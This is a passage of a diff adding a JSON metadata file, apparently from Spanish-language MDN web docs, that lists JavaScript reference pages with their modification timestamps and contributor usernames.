+    "modified": "2020-11-17T13:10:35.617Z",
+    "contributors": [
+      "AlePerez92",
+      "perezale",
+      "padrecedano",
+      "thzunder",
+      "DevManny",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/link": {
+    "modified": "2019-03-23T23:48:12.131Z",
+    "contributors": [
+      "germun",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/localeCompare": {
+    "modified": "2020-10-15T22:04:12.741Z",
+    "contributors": [
+      "DesarrolloJon"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/match": {
+    "modified": "2019-03-23T23:48:25.734Z",
+    "contributors": [
+      "germun",
+      "facugon",
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/matchAll": {
+    "modified": "2020-10-15T22:22:31.534Z",
+    "contributors": [
+      "juanarbol"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/normalize": {
+    "modified": "2020-10-15T22:04:13.627Z",
+    "contributors": [
+      "daniel.duarte"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/padStart": {
+    "modified": "2019-03-23T22:19:55.544Z",
+    "contributors": [
+      "teoli",
+      "Mamgui",
+      "EdgarOrtegaRamirez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/prototype": {
+    "modified": "2019-03-23T23:53:48.515Z",
+    "contributors": [
+      "DevManny",
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/raw": {
+    "modified": "2020-10-15T21:58:34.921Z",
+    "contributors": [
+      "leomicheloni",
+      "RaulRueda"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/repeat": {
+    "modified": "2020-10-15T21:38:22.279Z",
+    "contributors": [
+      "SphinxKnight",
+      "josegarciamanez",
+      "chabisoriano",
+      "GabrielNicolasAvellaneda"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/replace": {
+    "modified": "2020-01-29T20:30:57.565Z",
+    "contributors": [
+      "camsa",
+      "Fardenz",
+      "JasonGlez",
+      "xaviesteve",
+      "joselix",
+      "miljan-aleksic",
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/search": {
+    "modified": "2019-03-23T23:48:25.507Z",
+    "contributors": [
+      "AlePerez92",
+      "diegoazh",
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/slice": {
+    "modified": "2019-03-23T23:48:27.527Z",
+    "contributors": [
+      "ibejarano",
+      "alejandrochung",
+      "vltamara",
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/small": {
+    "modified": "2019-03-23T23:48:20.862Z",
+    "contributors": [
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/split": {
+    "modified": "2019-03-23T23:52:25.005Z",
+    "contributors": [
+      "germun",
+      "narigondelsiglo",
+      "davegomez",
+      "teoli",
+      "Juanromerocruz",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/startsWith": {
+    "modified": "2020-11-17T06:29:46.581Z",
+    "contributors": [
+      "AlePerez92",
+      "ArianJM",
+      "SphinxKnight",
+      "mautematico"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/strike": {
+    "modified": "2019-03-23T23:48:19.929Z",
+    "contributors": [
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/sub": {
+    "modified": "2019-03-23T23:48:12.360Z",
+    "contributors": [
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/substr": {
+    "modified": "2019-03-23T23:59:51.386Z",
+    "contributors": [
+      "olijyat",
+      "manuhdez",
+      "JaimeNorato",
+      "vltamara",
+      "teoli",
+      "Julien.stuby",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/substring": {
+    "modified": "2019-03-24T00:03:43.568Z",
+    "contributors": [
+      "alejandrochung",
+      "teoli",
+      "ethertank",
+      "StripTM",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/sup": {
+    "modified": "2019-03-23T23:48:12.249Z",
+    "contributors": [
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/toLocaleLowerCase": {
+    "modified": "2020-10-15T22:11:36.514Z",
+    "contributors": [
+      "MarkCBB"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/toLocaleUpperCase": {
+    "modified": "2020-10-15T21:55:35.801Z",
+    "contributors": [
+      "padrecedano"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/toLowerCase": {
+    "modified": "2019-03-23T23:48:13.663Z",
+    "contributors": [
+      "Daniel_Martin",
+      "AncaorDev",
+      "JaderLuisDiaz",
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/toSource": {
+    "modified": "2020-10-15T22:22:52.809Z",
+    "contributors": [
+      "SoyZatarain"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/toString": {
+    "modified": "2019-03-23T23:48:26.799Z",
+    "contributors": [
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/toUpperCase": {
+    "modified": "2019-03-23T23:48:19.033Z",
+    "contributors": [
+      "hgutierrez",
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/trimEnd": {
+    "modified": "2020-10-15T22:32:40.984Z",
+    "contributors": [
+      "cardotrejos"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/valueOf": {
+    "modified": "2019-03-23T23:48:30.713Z",
+    "contributors": [
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Symbol": {
+    "modified": "2019-06-24T09:01:16.062Z",
+    "contributors": [
+      "PCASME",
+      "AnaDallos",
+      "MateoVelilla",
+      "onit4ku",
+      "Lenninlasd",
+      "SphinxKnight",
+      "roberbnd",
+      "javiergarciagonzalez",
+      "joseanpg"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Symbol/for": {
+    "modified": "2019-03-23T22:06:38.566Z",
+    "contributors": [
+      "dariomaim"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Symbol/hasInstance": {
+    "modified": "2019-03-23T22:06:44.647Z",
+    "contributors": [
+      "aeroxmotion"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Symbol/iterator": {
+    "modified": "2020-10-15T22:03:24.581Z",
+    "contributors": [
+      "leovenezia",
+      "rderandom",
+      "DJphilomath"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/SyntaxError": {
+    "modified": "2019-03-23T22:31:22.099Z",
+    "contributors": [
+      "BubuAnabelas"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/SyntaxError/prototype": {
+    "modified": "2019-03-23T22:31:16.833Z",
+    "contributors": [
+      "BubuAnabelas"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/TypedArray": {
+    "modified": "2020-10-15T21:54:18.777Z",
+    "contributors": [
+      "Nachec",
+      "DJphilomath",
+      "SphinxKnight",
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/TypedArray/buffer": {
+    "modified": "2019-03-23T22:12:04.645Z",
+    "contributors": [
+      "SphinxKnight",
+      "joseluisq"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/URIError": {
+    "modified": "2020-10-15T22:14:48.739Z",
+    "contributors": [
+      "omoldes"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Uint8Array": {
+    "modified": "2019-03-23T22:26:47.572Z",
+    "contributors": [
+      "joseluisq",
+      "misan",
+      "pelu"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/WeakMap": {
+    "modified": "2020-10-06T14:36:19.625Z",
+    "contributors": [
+      "oleksandrstarov",
+      "SphinxKnight",
+      "kdex",
+      "frank-orellana",
+      "oagarcia",
+      "willemsh"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/WeakMap/clear": {
+    "modified": "2020-10-15T22:13:14.699Z",
+    "contributors": [
+      "xochilpili"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/WeakMap/delete": {
+    "modified": "2019-03-23T22:25:14.754Z",
+    "contributors": [
+      "xochilpili",
+      "frank-orellana"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/WeakMap/get": {
+    "modified": "2020-10-15T22:13:26.011Z",
+    "contributors": [
+      "xochilpili"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/WeakMap/has": {
+    "modified": "2020-10-15T22:13:17.587Z",
+    "contributors": [
+      "xochilpili"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/WeakMap/prototype": {
+    "modified": "2019-03-23T22:25:12.395Z",
+    "contributors": [
+      "frank-orellana"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/WeakMap/set": {
+    "modified": "2020-10-15T22:13:19.744Z",
+    "contributors": [
+      "xochilpili"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/WeakSet": {
+    "modified": "2019-03-23T22:06:27.270Z",
+    "contributors": [
+      "OliverAcosta",
+      "roberbnd"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/WebAssembly": {
+    "modified": "2020-10-15T22:00:20.969Z",
+    "contributors": [
+      "jvalencia"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/decodeURI": {
+    "modified": "2020-03-12T19:36:57.753Z",
+    "contributors": [
+      "teoli",
+      "SphinxKnight",
+      "ADP13",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/decodeURIComponent": {
+    "modified": "2020-03-12T19:37:00.546Z",
+    "contributors": [
+      "jabarrioss",
+      "SphinxKnight",
+      "teoli",
+      "ADP13",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/encodeURI": {
+    "modified": "2020-03-12T19:36:55.391Z",
+    "contributors": [
+      "espipj",
+      "SphinxKnight",
+      "teoli",
+      "ADP13",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/encodeURIComponent": {
+    "modified": "2020-03-12T19:37:33.179Z",
+    "contributors": [
+      "jazjay",
+      "SphinxKnight",
+      "teoli",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/escape": {
+    "modified": "2020-10-15T21:56:14.356Z",
+    "contributors": [
+      "SphinxKnight",
+      "RozyP",
+      "IXTRUnai"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/eval": {
+    "modified": "2020-03-12T19:37:01.878Z",
+    "contributors": [
+      "driera",
+      "sergio_p_d",
+      "_cuco_",
+      "ericmartinezr",
+      "SphinxKnight",
+      "teoli",
+      "Mgjbot",
+      "Talisker",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/isFinite": {
+    "modified": "2020-03-12T19:37:31.231Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "jarneygm",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/isNaN": {
+    "modified": "2020-10-15T21:17:00.242Z",
+    "contributors": [
+      "jmmarco",
+      "juanarbol",
+      "SphinxKnight",
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/null": {
+    "modified": "2020-03-12T19:42:06.401Z",
+    "contributors": [
+      "mkiramu",
+      "ivanagui2",
+      "diegoazh",
+      "BubuAnabelas",
+      "hmorv",
+      "AugustoEsquen",
+      "AsLogd"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/parseFloat": {
+    "modified": "2020-07-04T20:00:21.182Z",
+    "contributors": [
+      "pilichanampe",
+      "SphinxKnight",
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/parseInt": {
+    "modified": "2020-03-12T19:37:31.195Z",
+    "contributors": [
+      "mitsurugi",
+      "teoli",
+      "daiant",
+      "SphinxKnight",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/undefined": {
+    "modified": "2020-03-12T19:36:57.621Z",
+    "contributors": [
+      "IsaacAaron",
+      "Undre4m",
+      "BubuAnabelas",
+      "SphinxKnight",
+      "teoli",
+      "ADP13",
+      "Talisker",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/unescape": {
+    "modified": "2020-03-12T19:43:34.960Z",
+    "contributors": [
+      "DracotMolver"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores": {
+    "modified": "2020-10-15T21:16:41.341Z",
+    "contributors": [
+      "Nachec",
+      "BubuAnabelas",
+      "oagarcia",
+      "Alaon",
+      "SphinxKnight",
+      "Siro_Diaz",
+      "teoli",
+      "Mgjbot",
+      "Nathymig",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Adición": {
+    "modified": "2020-10-15T22:31:13.303Z",
+    "contributors": [
+      "lord-reptilia"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Aritméticos": {
+    "modified": "2020-10-15T21:17:29.666Z",
+    "contributors": [
+      "lajaso",
+      "nelruk",
+      "enesimo",
+      "SphinxKnight",
+      "teoli",
+      "Mgjbot",
+      "Nathymig"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Asignacion": {
+    "modified": "2020-10-15T22:33:15.275Z",
+    "contributors": [
+      "FranciscoImanolSuarez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Assignment_Operators": {
+    "modified": "2020-07-23T18:11:35.190Z",
+    "contributors": [
+      "n306r4ph",
+      "esreal12",
+      "BrodaNoel",
+      "maxbfmv55",
+      "maxbfmv"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Bitwise_Operators": {
+    "modified": "2020-03-12T19:42:13.818Z",
+    "contributors": [
+      "Binariado",
+      "hugomosh",
+      "EduardoSebastian",
+      "jnreynoso",
+      "mizhac",
+      "lizzie136",
+      "josewhitetower",
+      "miparnisari",
+      "elenatorro",
+      "CarlosRuizAscacibar"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Comparacion": {
+    "modified": "2020-10-15T22:33:16.730Z",
+    "contributors": [
+      "FranciscoImanolSuarez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Comparison_Operators": {
+    "modified": "2020-10-15T21:37:54.340Z",
+    "contributors": [
+      "FranciscoImanolSuarez",
+      "lajaso",
+      "mfuentesg"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Conditional_Operator": {
+    "modified": "2020-03-12T19:42:08.865Z",
+    "contributors": [
+      "mauroflamig",
+      "osmar-vil",
+      "maedca",
+      "CesarBustios",
+      "eacp",
+      "cornezuelo",
+      "joeljose"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Decremento": {
+    "modified": "2020-11-17T13:27:35.616Z",
+    "contributors": [
+      "FranciscoImanolSuarez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Destructuring_assignment": {
+    "modified": "2020-10-15T21:38:20.062Z",
+    "contributors": [
+      "Nachec",
+      "oscaretu",
+      "camsa",
+      "nstraub",
+      "FiliBits",
+      "SphinxKnight",
+      "emtsnz",
+      "moyadf",
+      "kdex",
+      "Anyulled",
+      "seleenne",
+      "rvazquezglez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Division": {
+    "modified": "2020-10-15T22:33:13.828Z",
+    "contributors": [
+      "FranciscoImanolSuarez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Encadenamiento_opcional": {
+    "modified": "2020-10-15T22:30:07.517Z",
+    "contributors": [
+      "glrodasz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Grouping": {
+    "modified": "2020-03-12T19:41:24.847Z",
+    "contributors": [
+      "oagarcia"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Miembros": {
+    "modified": "2020-03-12T19:37:28.144Z",
+    "contributors": [
+      "fpoumian",
+      "MarkelCuesta",
+      "SphinxKnight",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Operadores_lógicos": {
+    "modified": "2020-03-12T19:42:52.811Z",
+    "contributors": [
+      "albertor21",
+      "JuanMacias",
+      "lifescripter"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Operator_Precedence": {
+    "modified": "2020-03-12T19:39:15.282Z",
+    "contributors": [
+      "lopezz",
+      "fscholz",
+      "teoli",
+      "aerotrink"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Pipeline_operator": {
+    "modified": "2020-10-15T22:24:00.271Z",
+    "contributors": [
+      "nachofelpete"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Resto": {
+    "modified": "2020-12-04T18:18:23.327Z",
+    "contributors": [
+      "lucasmmaidana"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Sintaxis_Spread": {
+    "modified": "2020-10-15T22:05:27.684Z",
+    "contributors": [
+      "jeissonh",
+      "samm0023",
+      "jelduran",
+      "Aerz",
+      "duttyapps",
+      "alegnaaived"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Spread_operator": {
+    "modified": "2020-03-12T19:41:27.743Z",
+    "contributors": [
+      "SphinxKnight",
+      "Scipion",
+      "oagarcia"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Strict_equality": {
+    "modified": "2020-10-15T22:31:14.496Z",
+    "contributors": [
+      "lord-reptilia"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/Sustracción": {
+    "modified": "2020-10-15T22:31:11.477Z",
+    "contributors": [
+      "lord-reptilia"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/async_function": {
+    "modified": "2020-10-15T22:26:51.970Z",
+    "contributors": [
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/await": {
+    "modified": "2020-10-15T21:58:10.309Z",
+    "contributors": [
+      "esjuanma",
+      "jpinto7",
+      "JavierHspn",
+      "rcchristiane"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/class": {
+    "modified": "2020-03-12T19:45:04.654Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/delete": {
+    "modified": "2020-03-12T19:40:27.821Z",
+    "contributors": [
+      "abaracedo",
+      "elenatorro",
+      "oagarcia",
+      "rippe2hl"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/function": {
+    "modified": "2020-03-12T19:37:57.703Z",
+    "contributors": [
+      "germanf",
+      "SphinxKnight",
+      "teoli",
+      "jesanchez",
+      "artopal"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/function*": {
+    "modified": "2020-10-15T22:04:00.800Z",
+    "contributors": [
+      "daniel.duarte"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/in": {
+    "modified": "2020-10-15T21:19:59.064Z",
+    "contributors": [
+      "AlePerez92",
+      "MMarinero",
+      "SphinxKnight",
+      "teoli",
+      "carloshs92"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/instanceof": {
+    "modified": "2020-03-12T19:37:27.128Z",
+    "contributors": [
+      "KikeSan",
+      "oliverhr",
+      "SphinxKnight",
+      "olivercs",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/new": {
+    "modified": "2020-10-15T21:27:34.155Z",
+    "contributors": [
+      "Nachec",
+      "fercreek",
+      "fel.gaete",
+      "edsonjmv",
+      "fscholz",
+      "SphinxKnight",
+      "teoli",
+      "jansanchez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/new.target": {
+    "modified": "2020-03-12T19:45:24.263Z",
+    "contributors": [
+      "jorgecas"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/operador_coma": {
+    "modified": "2020-03-12T19:43:05.807Z",
+    "contributors": [
+      "aeroxmotion",
+      "eduardogm"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/super": {
+    "modified": "2020-10-15T21:36:09.783Z",
+    "contributors": [
+      "caepalomo",
+      "lajaso",
+      "SphinxKnight",
+      "oagarcia"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/this": {
+    "modified": "2020-04-05T17:39:51.929Z",
+    "contributors": [
+      "ridry",
+      "AugustoBarco",
+      "Litchstarken",
+      "xabitrigo",
+      "alejandrochung",
+      "garciadecastro",
+      "Miguel-Ramirez",
+      "FMauricioS",
+      "SphinxKnight",
+      "teoli",
+      "chebit",
+      "carloshs92"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/typeof": {
+    "modified": "2020-03-12T19:37:27.888Z",
+    "contributors": [
+      "dashaus",
+      "maurodibert",
+      "ggomez91",
+      "area73",
+      "carmelo12341",
+      "SphinxKnight",
+      "teoli",
+      "Siro_Diaz",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/void": {
+    "modified": "2020-03-12T19:37:37.188Z",
+    "contributors": [
+      "JuanMaRuiz",
+      "mauroc8",
+      "dongerardor",
+      "SphinxKnight",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/yield": {
+    "modified": "2020-10-15T21:59:31.243Z",
+    "contributors": [
+      "Nachec",
+      "nicoan",
+      "Binariado",
+      "hamfree",
+      "juliandavidmr"
+    ]
+  },
+  "Web/JavaScript/Referencia/Operadores/yield*": {
+    "modified": "2020-03-12T19:43:03.721Z",
+    "contributors": [
+      "germanf"
+    ]
+  },
+  "Web/JavaScript/Referencia/Palabras_Reservadas": {
+    "modified": "2019-03-23T23:46:34.387Z",
+    "contributors": [
+      "gsalinase",
+      "Gabrielth2206",
+      "Heramalva",
+      "teoli",
+      "Sheppy",
+      "Nathymig"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias": {
+    "modified": "2020-05-11T14:52:51.956Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Daniel_Martin",
+      "ffulgencio",
+      "BubuAnabelas",
+      "katrina.warsaw",
+      "SphinxKnight",
+      "teoli",
+      "Nathymig",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/Empty": {
+    "modified": "2020-03-12T19:45:08.866Z",
+    "contributors": [
+      "Undre4m"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/block": {
+    "modified": "2020-03-12T19:37:26.144Z",
+    "contributors": [
+      "IsaacAaron",
+      "SphinxKnight",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/break": {
+    "modified": "2020-03-12T19:37:25.893Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/class": {
+    "modified": "2020-03-12T19:43:15.247Z",
+    "contributors": [
+      "AlePerez92",
+      "PauPeinado"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/const": {
+    "modified": "2020-05-18T16:35:39.912Z",
+    "contributors": [
+      "jorgetoloza",
+      "Daniel_Martin",
+      "SphinxKnight",
+      "calbertts",
+      "IsaacAaron",
+      "MarkelCuesta",
+      "zucchinidev",
+      "teoli",
+      "Scipion"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/continue": {
+    "modified": "2020-03-12T19:37:24.424Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/debugger": {
+    "modified": "2020-03-12T19:43:07.073Z",
+    "contributors": [
+      "VictorAbdon",
+      "ericpennachini"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/default": {
+    "modified": "2020-10-15T22:11:48.475Z",
+    "contributors": [
+      "Davids-Devel"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/do...while": {
+    "modified": "2020-03-19T20:41:26.735Z",
+    "contributors": [
+      "danielclavijo19380",
+      "AlePerez92",
+      "SphinxKnight",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/export": {
+    "modified": "2020-10-15T21:13:05.178Z",
+    "contributors": [
+      "AlePerez92",
+      "frank-orellana",
+      "fxisco",
+      "hmorv",
+      "guumo",
+      "Jdiaz",
+      "SphinxKnight",
+      "teoli",
+      "Scipion"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/for": {
+    "modified": "2020-03-12T19:37:24.852Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/for-await...of": {
+    "modified": "2020-10-15T22:22:58.735Z",
+    "contributors": [
+      "daniel.duarte"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/for...in": {
+    "modified": "2020-10-15T21:14:45.435Z",
+    "contributors": [
+      "Nachec",
+      "VichoReyes",
+      "antonygiomarx",
+      "tenthlive",
+      "enmanuelduran",
+      "manatico4",
+      "pardo-bsso",
+      "jsinner",
+      "Carlos-T",
+      "mariosotoxoom",
+      "SphinxKnight",
+      "teoli",
+      "angeldiaz",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/for...of": {
+    "modified": "2020-03-12T19:43:09.602Z",
+    "contributors": [
+      "camsa",
+      "chabisoriano",
+      "petermota",
+      "Bumxu",
+      "jdazacon",
+      "Angarsk8"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/funcion_asincrona": {
+    "modified": "2020-10-15T21:53:45.353Z",
+    "contributors": [
+      "docxml",
+      "fitojb",
+      "mnax001",
+      "lexnapoles",
+      "JooseNavarro",
+      "feserafim"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/function": {
+    "modified": "2020-03-12T19:37:28.203Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/function*": {
+    "modified": "2020-03-12T19:41:28.405Z",
+    "contributors": [
+      "SphinxKnight",
+      "kdex",
+      "cnexans",
+      "mlealvillarreal",
+      "TheBronx",
+      "mrtuto2012",
+      "rippe2hl",
+      "germanfr"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/if...else": {
+    "modified": "2020-03-12T19:35:35.125Z",
+    "contributors": [
+      "IsaacAaron",
+      "SphinxKnight",
+      "teoli",
+      "Pablo_Cabrera",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/import": {
+    "modified": "2020-10-15T21:37:35.456Z",
+    "contributors": [
+      "AlePerez92",
+      "frank-orellana",
+      "feserafim",
+      "guumo",
+      "javiernunez",
+      "Siro_Diaz",
+      "jepumares"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/import.meta": {
+    "modified": "2020-10-15T22:29:50.934Z",
+    "contributors": [
+      "cinthylli"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/label": {
+    "modified": "2020-03-12T19:37:26.348Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/let": {
+    "modified": "2020-12-07T12:54:41.333Z",
+    "contributors": [
+      "FacuBustamaante",
+      "Nachec",
+      "jomoji",
+      "SphinxKnight",
+      "IsaacAaron",
+      "Braulyw8",
+      "MarkelCuesta",
+      "Th3Cod3",
+      "kdex",
+      "devlcp",
+      "fjcapdevila",
+      "mishelashala",
+      "madroneropaulo",
+      "nicobot",
+      "jtanori"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/return": {
+    "modified": "2020-03-12T19:37:28.480Z",
+    "contributors": [
+      "devconcept",
+      "rrodriguez",
+      "SphinxKnight",
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/switch": {
+    "modified": "2020-06-26T05:28:30.446Z",
+    "contributors": [
+      "EliottoYT",
+      "RubiVG",
+      "nahif",
+      "jesusvillalta",
+      "SSantiago90",
+      "Herkom",
+      "renetejada7",
+      "rafaelgus",
+      "garciadecastro",
+      "MarioAr",
+      "Cubo",
+      "esmarti",
+      "christpher_c"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/throw": {
+    "modified": "2020-03-12T19:37:27.469Z",
+    "contributors": [
+      "imNicoSuarez",
+      "SphinxKnight",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/try...catch": {
+    "modified": "2020-05-28T10:16:13.325Z",
+    "contributors": [
